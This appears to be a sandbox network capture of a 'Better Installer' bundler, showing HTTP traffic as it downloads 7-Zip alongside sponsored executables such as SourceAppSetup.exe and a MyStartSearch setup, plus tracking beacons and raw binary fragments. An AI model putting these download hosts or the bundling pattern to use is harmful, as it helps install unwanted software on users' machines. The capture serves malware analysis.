GET /r/__utm.gif?utmwv=5.6.3&utms=1&utmn=1340673461&utmhn=bi.bisrv.com&utmhid=943678377&utmr=-&utmp=Installer_Init&utmht=1424736079487&utmac=UA-31676879-1&utmcc=__utma=1.2079935846.1424736079.1424736079.1424736079.1;+__utmz=1.1424736079.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none);&utmjid=408293684&utmredir=1&utmu=qhCAAAAAAAABAAAAAAAAAAAE~ HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/awde7zip23678/7zip/a023ae3ee3ddb84f912034f3917e580f?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.google-analytics.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Access-Control-Allow-Origin: *

Date: Tue, 24 Feb 2015 00:00:59 GMT

Pragma: no-cache

Expires: Fri, 01 Jan 1990 00:00:00 GMT

Cache-Control: no-cache, no-store, must-revalidate

Last-Modified: Sun, 17 May 1998 03:00:00 GMT

X-Content-Type-Options: nosniff

Content-Type: image/gif

Server: Golfe2

Content-Length: 35

Alternate-Protocol: 80:quic,p=0.08

GIF89a.............,...........D..;HTTP/1.1 200 OK..Access-Control-All
ow-Origin: *..Date: Tue, 24 Feb 2015 00:00:59 GMT..Pragma: no-cache..E
xpires: Fri, 01 Jan 1990 00:00:00 GMT..Cache-Control: no-cache, no-sto
re, must-revalidate..Last-Modified: Sun, 17 May 1998 03:00:00 GMT..X-C
ontent-Type-Options: nosniff..Content-Type: image/gif..Server: Golfe2.
.Content-Length: 35..Alternate-Protocol: 80:quic,p=0.08..GIF89a.......
......,...........D..;..

GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: download.filesfrog.com

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Tue, 24 Feb 2015 00:02:19 GMT

Content-Type: application/octet-stream

Content-Length: 1110476

Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT

Connection: close

ETag: "507b83f7-10f1cc"

Content-Range: bytes 0-1110475/1110476
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
.................... ...............................................s.
..........A...........................................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected][email protected]
rc....A.......B...v..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected]@[email protected] [email protected]..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..<<< skipped >>>

GET /t.ashx?e=Feo0TQZfu6KSwU3ck0Ywnu6XO 6uR0y1rTZxZT/0apNAXdQqxJ1va3sc7hbJtTJH b/YhL9w2PTXoMXpqBnYfbVvgcpeW1zDd/XCztdoPbIiDxPRY4o5upR90anDedSCpjurIyC9QLD3iSFFCNvSibmv2IW2mkLW4Sygye4Bx OK6Bbaa/22OWbU/CGmJ5Yn HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1vw44q53d84jx.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: text/html; charset=utf-8

Content-Length: 13

Connection: keep-alive

Cache-Control: private,no-cache, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 2.0.50727

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 00:02:02 GMT

X-Cache: Miss from cloudfront

Via: 1.1 74f98ee8547ec50a6b9a4c3d010e1e0d.cloudfront.net (CloudFront)

X-Amz-Cf-Id: wY-6xnchc6mm1CMkSQCCTjOwGkVk16_ine_gTBK5NbYR4REUTuZL8w==

abfgshdgfjhsk....

GET /t.ashx?e=Feo0TQZfu6KSwU3ck0Ywnu6XO 6uR0y1rTZxZT/0apNAXdQqxJ1va3sc7hbJtTJH b/YhL9w2PTXoMXpqBnYfbVvgcpeW1zDd/XCztdoPbIiDxPRY4o5upR90anDedSCpjurIyC9QLD3iSFFCNvSibmv2IW2mkLW4Sygye4Bx OK6Bbaa/22OWbU/CGmJ5Yn HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1vw44q53d84jx.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: text/html; charset=utf-8

Content-Length: 13

Connection: keep-alive

Cache-Control: private,no-cache, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 2.0.50727

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 00:02:02 GMT

X-Cache: Miss from cloudfront

Via: 1.1 74f98ee8547ec50a6b9a4c3d010e1e0d.cloudfront.net (CloudFront)

X-Amz-Cf-Id: CzL3Pc__bweGZ2P8UARNyzGDEFurVG37y9eNyLIdbJpWH6Wi-eeFnQ==

abfgshdgfjhsk....

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1vw44q53d84jx.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: text/html; charset=utf-8

Content-Length: 13

Connection: keep-alive

Cache-Control: private,no-cache, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 2.0.50727

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 00:02:02 GMT

X-Cache: Miss from cloudfront

Via: 1.1 74f98ee8547ec50a6b9a4c3d010e1e0d.cloudfront.net (CloudFront)

X-Amz-Cf-Id: bm-KN-PdWHNWFJFtMtIfRq3jAz5vA3ex30rdOuBwTo97YMQeESHicA==

abfgshdgfjhsk..

GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1

Range: bytes=277620-

User-Agent: Better Installer(Mozilla)

Host: download.filesfrog.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Tue, 24 Feb 2015 00:04:28 GMT

Content-Type: application/octet-stream

Content-Length: 832856

Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT

Connection: close

ETag: "507b83f7-10f1cc"

Content-Range: bytes 277620-1110475/1110476
../cXh~.Q....mj..Yt..>...(.e....(...kiq...lSR>...?... .N?.[c6...
C.(.pA.,.*..F...Y.Ij.j..p.%.r..e..h&...{-.....R^...`9.1PO6\8..>....
..Q"Rg.Z......Too...?.<....J..=,.q...}y.=.T..*W...C9..].........^e.
"T..`.&F..M...^-6Wz_:..YW.B.......'......O;,k..".gGP..<$-..1 .;.s|X
....-....%,....@.]AU.. ..\ko... .w~g..1K.......;A..|.r..%.............
.......... .)..2....e..<.J.i."....c..oZ...TE..j...........H..,8W.c.
.ST.zz.M.;-Pk5z...y..r.W~.;(F7,........w5...Ef...9Eo..[.Q...\.....9..f
6...j.mq*pRc..Z*.R..IW...j4Y.D ...T...Sn_.0.tY[/g./]ehAw..@<W......
0QO\Cj(.C.-.......*..5|.-.0..$.V..pX...T........HA.....}..........}.;.
 ....LPV.X..0W..H.........z..F(.o.:........Fd.'C..= . ..e.....%Z.t....
t.Bz.?...s.....L...ds....[....dr.....E(.z)vD17...d...m... ..........ms
..g...8V._x.X..D..g.WQ&....$...}o.Q5u..#6.. .`.......~..%.ir.W....zoYI
1b.......t`.2t.U.~5....t.......jd..rv.O..........s.o.}....A....9..o%..
.j.....R.LQ[.9qY1d?..?n.F.........*F}.b-.P`....y.6.=n...Kge}onq..u%.O|
.X>..."]..%H.;[email protected].. ........^...*.--....^n3.....2A.....
..,..Wg./.........p>....ci.........w..2.g...6^:.`..b... .'r........
........D....RH..[.`i..1*.rs....O..BG5...)nU..tX...r..CZ..V=)@.4r..)v:
./M$..5...'4....Bey.0Y..*..#7...q.../.#N.@....__......<85d$.z.%G...
(....-.d...I.........g....S:..&...2.....t..........h.c.......ty.G. .T.
k.>R....C...S.K.S.....,3LZe......a..#&SH.Q.R......4P......0}IC.h)N.
7..G....G1..........<..!.....=.I......S...tE.d.d.Y.......qf@I=nB...
.....V...'...z.]y./.......ng..VY...y.|......2.J..'.^.z....W..d....<<< skipped >>>

GET /online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=1788e91e-8b19-462a-8e2b-90ae69199b26&Password=p2giThPc&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,1a2e5f38-dbe6-4619-8c53-3c3fb0ec7872,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1424736160&SBPIDS=1&KA=1 HTTP/1.1

User-Agent: CoreWinInet

Host: online.speedbit.com

Cache-Control: no-cache

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Content-Length: 44

Content-Type: text/html; charset=utf-8

X-Powered-By: ASP.NET

X-AspNet-Version: 2.0.50727

Set-Cookie: ASP.NET_SessionId=ikuzrh55wtxeobjr3lf0l255; path=/; HttpOnly

Date: Tue, 24 Feb 2015 00:02:20 GMT

Connection: close
<RESULT>.<LASTERROR>0</LASTERROR>.</RESULT>...

GET /online/ka.aspx?CV=2.0.0.0&ProductID=12000&UserID=1788e91e-8b19-462a-8e2b-90ae69199b26&Password=p2giThPc&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,1a2e5f38-dbe6-4619-8c53-3c3fb0ec7872,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1424736160&SBPIDS=1&KA=1 HTTP/1.1

User-Agent: CoreWinInet

Host: online.GOOBZO.com

Cache-Control: no-cache

Cookie: ASP.NET_SessionId=stwasxzel0a5ovn3t1puwm55


HTTP/1.1 302 Found

Connection: close

Date: Tue, 24 Feb 2015 00:02:20 GMT

Server: Microsoft-IIS/6.0

X-Powered-By: ASP.NET

Cache-Control: no-cache, no-store

X-AspNet-Version: 2.0.50727

Location: hXXp://online.speedbit.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=1788e91e-8b19-462a-8e2b-90ae69199b26&Password=p2giThPc&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,1a2e5f38-dbe6-4619-8c53-3c3fb0ec7872,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1424736160&SBPIDS=1&KA=1

Cache-Control: private

Content-Type: text/html; charset=utf-8

Content-Length: 1268
<html><head><title>Object moved</title></he
ad><body>..<h2>Object moved to <a href="hXXp://onlin
e.speedbit.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&U
serID=1788e91e-8b19-462a-8e2b-90ae69199b26&Password=p2giThPc&O
S=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,1a2e5
f38-dbe6-4619-8c53-3c3fb0ec7872,&BundleID=NONE&BrandID=NONE&
amp;PartnerList=&ElapsedTime=1424736160&SBPIDS=1&KA=1">
here</a>.</h2>..</body></html>....<!DOCTYPE
 html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "hXXp://VVV.w3.o
rg/TR/xhtml1/DTD/xhtml1-transitional.dtd">..<html xmlns="hXXp://
VVV.w3.org/1999/xhtml" >..<head><title>...Untitled Page
..</title></head>..<body>..    <form name="form1"
 method="post" action="ka.aspx?CV=2.0.0.0&ProductID=12000&User
ID=1788e91e-8b19-462a-8e2b-90ae69199b26&Password=p2giThPc&OS=1
0&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,1a2e5f38
-dbe6-4619-8c53-3c3fb0ec7872,&BundleID=NONE&BrandID=NONE&
;PartnerList=&ElapsedTime=1424736160&SBPIDS=1&KA=1" id="fo
rm1">..<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" 
value="/wEPDwUJNzgzNDMwNTMzZGTTAuzAluiepn5Ur3p1G7qqvo u/g==" />..  
  <div>..    ..    </div>..    </form>..</body>
;..</html>....<<< skipped >>>

GET /pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=df2ee0eca619e745941b88b65e390118&uniqid=false&affiliate_id=awde7zip23678&software_id=7zip&sponsored_id=sourceapp_b2b&tokyo_csrf2_key=3d24dd651e102223c8fe826c6ca042dd&tokyo_csrf2_timestamp=1424736262&slot_number=1&index_in_screen=1&index_in_session=1&display_height=170&0.5741040529168842 HTTP/1.1

Accept: */*

Referer: hXXp://installer.filebulldog.com/awde7zip23678/7zip/df2ee0eca619e745941b88b65e390118?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: installer.filebulldog.com

Connection: Keep-Alive

Cookie: __utma=1.1232722804.1424736155.1424736155.1424736155.1; __utmb=1.4.10.1424736155; __utmz=1.1424736155.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1; __utmc=1


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 24 Feb 2015 00:04:44 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Tue, 24 Feb 2015 00:04:44 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..

GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1

Range: bytes=142780-

User-Agent: Better Installer(Mozilla)

Host: d29brepyudd8sp.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 142778

Connection: keep-alive

Date: Sun, 22 Feb 2015 06:06:45 GMT

x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894

Cache-Control: max-age=3600

Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT

ETag: "518879abe3170dabd172dfffcd165598"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 142780-285557/285558

Age: 913

X-Cache: Hit from cloudfront

Via: 1.1 e13dc20cb35881b25fb296fb0383f55c.cloudfront.net (CloudFront)

X-Amz-Cf-Id: RO_MlKy-GsWToTNjvH5lcVtUjd2Q6cTmp8FIRc0VFSpyKmipjR62Sw==
..<......O.. ..o...U ...h..y.O..X..C............2.[..,..."m...~b...
.......V:...!.......;n .f.P..i?.|...B..w..?5w{...z9.].8*..3..(x...z/E_
...oz...#.".2:...z-.&ng...&y.......H|.q$...Y.....G..M..E.*N...&..z...U
.`....t.?T5.m..<.<...BK..nY_#[....YI?.4...!h.Y..>.....c.M....
F..j..Ht7.gN...z..(..l..\u.~...].Ub...M!..<{.P.M.MM.ne?..<.:....
O.,=.h.....Z.b.........Y....R.s.e.I).i..fpk.j.O0........].2|.0.C``....
...m_z.=W..^...C:............Q...xbR.....t...eF.V.....aR..2o..w.>..
r!U......Xs%.Wm.&.LbX0{.P........@..\w.......>.../.bW........X....^
e8......Lq...[.3a...n*..........2..!c_ .......{...Z.lf...z..o...~*..l.
...G..2.w.8.#.*........DH..-df.][email protected]...'k.... ....m.
=....X..J........e.... .R.7.........!..\..C..G/./..y..*=.......,..V..f
.%....LF.|......T..g..fPs.............-6.".l.t 5..'B.....=.}K.9.%.j.1.
.J.\u&...mg!..Y(...U./?q=B{.z..Q...>....<..B.|keIL.c;........N..
..n....*K...F..~.5.2......K...'n..,&rt...N.G.59.]k....N..3....P...)...
...M w..........6.G.2T......L...B0.#.R....5..,.N..|#..%.lN...9.j...j.2
x....R....Mh..-...D.2...l....*....9c..m.9.e....].j....a.2.7...\....E.B
iu.Bf....a..Oh..r... ...(2n..7BD7.D/........D...T..*.q...u.J..4...v...
I..u.Wr......*.......b....`[email protected]@...zrR..Z..Um....Z.D>\..
........3C.b.._XI.[s..t.......].R..p.=.&E..Z4<....z...=..%.Y..>.
.CF.,]tp..C.iV..z.dh.pI?c\7..4!2..^.M....GDiK..*.=...!.?.......H......
.)]...(..@..(..{..E^yVP ......%M,..O...S2........d^....T..VE.....j.y..
.....}..GqN....E7rG{.E.....y...N/.WG..,...QV.GC.m.gY..........4...<<< skipped >>>

GET /images/Tokyo/tokyoLightGrayStripesBG.jpg HTTP/1.1

Accept: */*

Referer: hXXp://installer.filebulldog.com/awde7zip23678/7zip/df2ee0eca619e745941b88b65e390118?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: d3lspqs37tt24s.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: image/jpeg

Content-Length: 3430

Connection: keep-alive

Server: nginx

Date: Sun, 22 Feb 2015 04:55:55 GMT

Last-Modified: Tue, 10 Feb 2015 14:45:45 GMT

ETag: "54da1999-d66"

Expires: Sun, 22 Feb 2015 05:05:55 GMT

Cache-Control: max-age=600

Accept-Ranges: bytes

Age: 463

X-Cache: Hit from cloudfront

Via: 1.1 1fcd1033bfe42d3b0b03eb4bfbf9624a.cloudfront.net (CloudFront)

X-Amz-Cf-Id: xJRDDmd_1Tgo5cGGlSoIKFnqeOnMUMn8cdAFRnkPGGOAs3GgYP5g8g==
......JFIF.....H.H.....C..............................................
......................C...............................................
..........................D.."......................................".
...................U......a...........................................
.................?....................................................
......................................................................
......................................................................
.................................' x.eo...r...V...' x.eo...r...V...' x
.eo...r...V...' x.eo...r...V...' x.eo...r...V...' x.eo...r...V...' x.e
o...r...V...' x.eo...r...V...' x.eo...r...V...' x.eo...r...V...' x.eo.
..r...V...' x.eo...r...V...' x.eo...r...V...' x.eo...r...V...' x.eo...
r...V...' x.eo...r...V...' x.eo...r...V...' x.eo...r...V...' x......@.
[email protected]....]..l....]....=... }w..... }w...0
[email protected][email protected]....]..l....]....=... }w..... }
[email protected][email protected]....]..l....]....=... }w..
... }[email protected][email protected]....]..l....]....=...
 }w..... }[email protected][email protected]....]..l....]...
.=... }w..... }[email protected][email protected]....]..l...
.]....=... }w..... }[email protected][email protected]....].
.l....]....=... }w..... }[email protected][email protected].
...]..l....]....=... }w..... }[email protected][email protected].
...l....]..l....]....=... }w..... }[email protected]..................<<< skipped >>>

GET /sd?is=sm HTTP/1.1

User-Agent: Better Installer(Mozilla)

Host: install-cdn.sourceapp.info

Cache-Control: no-cache


HTTP/1.1 200 OK

Pragma: no-cache

Content-Type: application/octet-stream

Server: Microsoft-IIS/7.5

Content-Disposition: attachment; filename=SourceAppSetup.exe

X-AspNet-Version: 4.0.30319

SVR: SP004C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Content-Length: 583152

Cache-Control: private, max-age=86400

Expires: Wed, 25 Feb 2015 00:02:16 GMT

Date: Tue, 24 Feb 2015 00:02:16 GMT

Connection: keep-alive

MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................Z....... ...0.......p....@.........
........................O........................................s....
......................................................................
.............p...............................text....X.......Z........
.......... ..`.rdata.......p.......^..............@[email protected].......
[email protected]...`...p...........................rsrc.
...............t..............@..@....................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u...Pr@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Hp@[email protected]
....E..9}[email protected].}[email protected]..
[email protected]@.W...E..E.h [email protected]...\r@._^3.
[.....L$...nD...Si.. ..VW.T.....tO.q.3.;5.nD.sB..i.. ...D.......t.G...
..t...O..t .....u...3....3...F.. ..;5.nD.r._^[...U..QQ.U.SV..i.. .

<<< skipped >>>

GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1

Range: bytes=971667-

User-Agent: Better Installer(Mozilla)

Host: download.filesfrog.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Tue, 24 Feb 2015 00:02:19 GMT

Content-Type: application/octet-stream

Content-Length: 138809

Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT

Connection: close

ETag: "507b83f7-10f1cc"

Content-Range: bytes 971667-1110475/1110476
]7X..}.u...{.......)..E.x.E.|w..5.rg4.9M@.].EqZk...b...97....p...j....
...w"m.f.. g.G..C..x.q.2S.Q.. .t ...../..4mc.x.\"I.d..Q.{x............
...1..H..o..l.V..OU.......D..X.n....8.L.s..!.f..............9,d..1Y.j.
l..W.........ql.....5....9Jt.4......t...s...!.....B..UX1.R..W..Ot.....
. z.|...L'..8. .p.....d{..V..x.. ....8..P...v.........5KE3...u.'...Oc.
..&....6!...j`.b.....|_i<.Y.^...............QoM.9..y~...M"E..c...,.
......e.s.R.5qQ......O..Z...#........n.w.^...........5.!.....S.i..a..t
.;...ruQu.&r.....Bd%7...S..M..5.F#.........Y.T...M.....$.Ri.j..}_7..U.
E r..`.2././.?.r..jJ.\Wn....K..{..#.....p.....e.2l.K.).G^.l..[.....c..
...j..;...d..2~..y1;Y.........o\. .a........^.l..K. ....o.........2..z
.:...!Q.e...f.1.$2.......R9.....fo.G.fiN0A7............. ?^4.nr..A....
...#F:..ch..l..s<-Db@#.J.3.z..`kI..Z....n.).(R#vo.x.V..Z.q....i...t
O4.{.vFB...mU..6.?...a}yy7.zn......c...).A.[[email protected])..c.*O.....7.
.`...$.:q.V..l..0f.......r.1.d.e..G......4..A.e..x.. L.l..At..j.r.i...
W."gZMh..6E4~...h...."..5v.7!......:.Z.....pKf..h....nSA.5.d.{..pE.`'.
f.O.}.....r.F7$.P.01o....`.....8...Ix..|x.n.......#.~.... 7sf..#..7?.]
x.3..%.}...."..r.b..6...,.....LV%..r..[uwz.J.y:h...2..*.W.G...~.......
....v.j..:].QT,.....lS....vYF..R. ...A.J....X.j.R.......n..3......k...
...}..^...wup7 *....'..>2...Z.......P......L.09....[.c..~..)..$$".9
[email protected]#..a....*[email protected]
Q,W.....m%.9.7.=..Jr.eh.pjB.......8.......T...W.vD..&Y...F.t..L.^...P^
.&..j..KQ....vU.j.......{..!.pZu....!R..\u9..<O..A.%....2..71..<<< skipped >>>

GET /sd?is=sm HTTP/1.1

Range: bytes=364470-

User-Agent: Better Installer(Mozilla)

Host: install-cdn.sourceapp.info

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Pragma: no-cache

Content-Type: application/octet-stream

Server: Microsoft-IIS/7.5

Content-Disposition: attachment; filename=SourceAppSetup.exe

X-AspNet-Version: 4.0.30319

SVR: SP004C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Cache-Control: private, max-age=86400

Expires: Wed, 25 Feb 2015 00:01:04 GMT

Date: Tue, 24 Feb 2015 00:01:04 GMT

Content-Range: bytes 364470-583151/583152

Content-Length: 218682

Connection: keep-alive
...Rm.`.>A.......3.M)....:..&;6..a..L.......I..Y.....&.-U[.5.....t:
w...5W..j.]bS.^...)..3`.......QK....1....8...A..V.].%..Aqu.Y.n6.|xJ...
*...O .Hi.!..b-.j......X.G.X..b.K5.._....}..~.'.....#..x6@..'J...x}.A.
...T^.y.....f. ...e1h.]..A...1..2..K....t.`.mN..|..J.3.k..s......6.`.`
3.]#^........!.6..-...g..W<..CT()K......._FR..MtGd{..eT.#o..*4PKQ.S
b.n./q.cQ>.).o1..V-.jg..\/..h.}x....m..I....o^~.TMk..p..)8..... ...
..\/.kM....Z7.."..d"..P....].. ........K..u..:.....v.d........*..Zyr..
:..vA@.{Ru.g......v.....:L..F..17..!e*i.d.b.?<B9B\O.....U.#..^s..c/
u......._k......%...%...B{".....<......''..'...?...N.....erW.`.....
....2.(U.e....9(.{,.\.....a^e.C`X....*...6.%x.HF...z.i..F}?.3......rr\
.....A..}.[..%..H.b...14..M..3...ljTG.9.1....t...YRy.-.v.34......W.Qx.
[email protected]...,...............(..x......t)g..%.Fm.& ......
U.:.........=..l4.......6........=f/.o...k. bY..YL....$a8.".....));._.
..J.......'H'~.....x.[4..i.>Lwe=Tx.V...K.......6...lK..O..!.W.w...q
..$31m.....z@<y-<.........&...N..s\4h.3.R..Y........F....Ze.KKv.
.........N..*1|K.\l.>..........I..........0k.U..q..!=.\...O.......N
.gK..C.IPw.}E...2..4r...,kJ... .B.]c.."....q.'.P.*[email protected]..&
.X}...(.!.......T....tK..gc.0.a.<.J.....6c.)\.........b...o.'..A..k
'.....M....?.!m..Y65........w..-.......=.CO.`...RR..w.=.9G..{8]..j..MX
J<..OU....|...'......m,..e..o:..............)".....V.......*....e..
: ........i..iz|.U..8 U...f...,.&...V...Cm.'.>/.9(..<k.B.'A,./..
.V?8z....3.E...H...[.....{.T...pg..^9Ic..X5....N.....$W...N..".~..<<< skipped >>>

GET /v4/sof-installer/267123711_198339_B48A115F?action=smt.installer.mystartsearch.ient HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) Pi/3.1415926

Host: xa.xingcloud.com


HTTP/1.1 200 OK

Server: nginx/1.6.2

Date: Tue, 24 Feb 2015 00:04:20 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.3.3

xa-api-version: v4

48..{"stats":"ok","time":"1.46 ms","message":"store 1 action and 0 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/1.6.2..Date: Tue, 24 Feb 201
5 00:04:20 GMT..Content-Type: text/html; charset=utf-8..Transfer-Encod
ing: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api-
version: v4..48..{"stats":"ok","time":"1.46 ms","message":"store 1 act
ion and 0 update "}..0..

GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1

Range: bytes=555240-

User-Agent: Better Installer(Mozilla)

Host: download.filesfrog.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Tue, 24 Feb 2015 00:02:19 GMT

Content-Type: application/octet-stream

Content-Length: 555236

Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT

Connection: close

ETag: "507b83f7-10f1cc"

Content-Range: bytes 555240-1110475/1110476
.F..j....;^I..#........h.6tp..O..K.eT5.dFi.......(.S..m.a.Y....<...
.G...............M.f8....,............F.QM.C...TiJ..;.X{...8....d0.G..
.D]I<....z......tv.x.^B.T9=..c.N ..........F...%.....a.......d..;.s
qPp..\....'...../f..7..J_.^.f... 7.>.ET"....#.k#o.!.3gj.=wr...gBj&l
t;.!.5@Qa ?F......0..............f..K...w{...h.=U..u.{.m....7...yb.\YZ
..ta.cd......t-...;.?.....t....v........MP......|.....i..L2...".:H....
....U..}...d..|Q.jf^...(.Mf......\....E G7.........."32...f..%\.4U... 
.N:....... ...B....%[email protected].,.y.....)..[S.6.5.|Jd;/.._m..s..... ...
FN.........a...<......3. ...$,......M.H8.....~u......vM[..H...{i...
R....N......%.".J.F..1(h?..U...,..(%......V......>........y...}.q.:
!.0..w..Q?C.%Eo...w......R^.v........`..&W..*.,....g.......a..Q...$.r)
..2c....|?.3.[..>l....8hq.L...B..W.I..56 ......}f&...^.|..Uk.4...A.
P.. `f..y&m....t... .Ej....V.}...hs........c.....m.`h....3.3..H[N...$:
.q......).0....b.i.C..T$Z.V......}....T$..o(.Z(#[email protected][.
.C?.....}T{ ...$..n9....*.H.<...3..........z..!.....V........A..9..
..........m.]. .?..~.....[.u!DC...8.jZ..k.G...|.o..d....(....(.. .....
...oa^.5[........|3.j.1..C..'..._g.... ..j.!T.....T..M/p.n..W..7R..Ru.
e....i..F".....h.......t...v....p3.gom|...........i-......&.^|ilN..N.b
.[..&5...z.SY'.7.0.M'@.k..E..Y...2)....blt..~...c...<#JIr..uR.../..
dvGr.[.e...nT..>:B.;.!.......m..>.r.U......}.r..d.P.......H`..(.
i...........`.,p%.gQj..p..S. ....4O2...s.{..R..Wc..v.#...v..Te!...r.."
./..<.....oR*1...c..Y..v.....,^......E.....4a%.q.. .kk...pH....<<< skipped >>>

GET /mirror/mystartsearch/default/setup.exe HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: d32c8485dhfcya.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 321632

Connection: keep-alive

Date: Sun, 22 Feb 2015 06:36:11 GMT

x-amz-version-id: pJx1Noe1nsjOrolbXLoeUI7xmdja2CTU

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33188/mtime:1422525589/atime:1422525603/ctime:1422525590

Cache-Control: max-age=3600

Last-Modified: Thu, 29 Jan 2015 10:00:41 GMT

ETag: "31f8d1cffb02dff93646f81d8ce3dd75"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 0-321631/321632

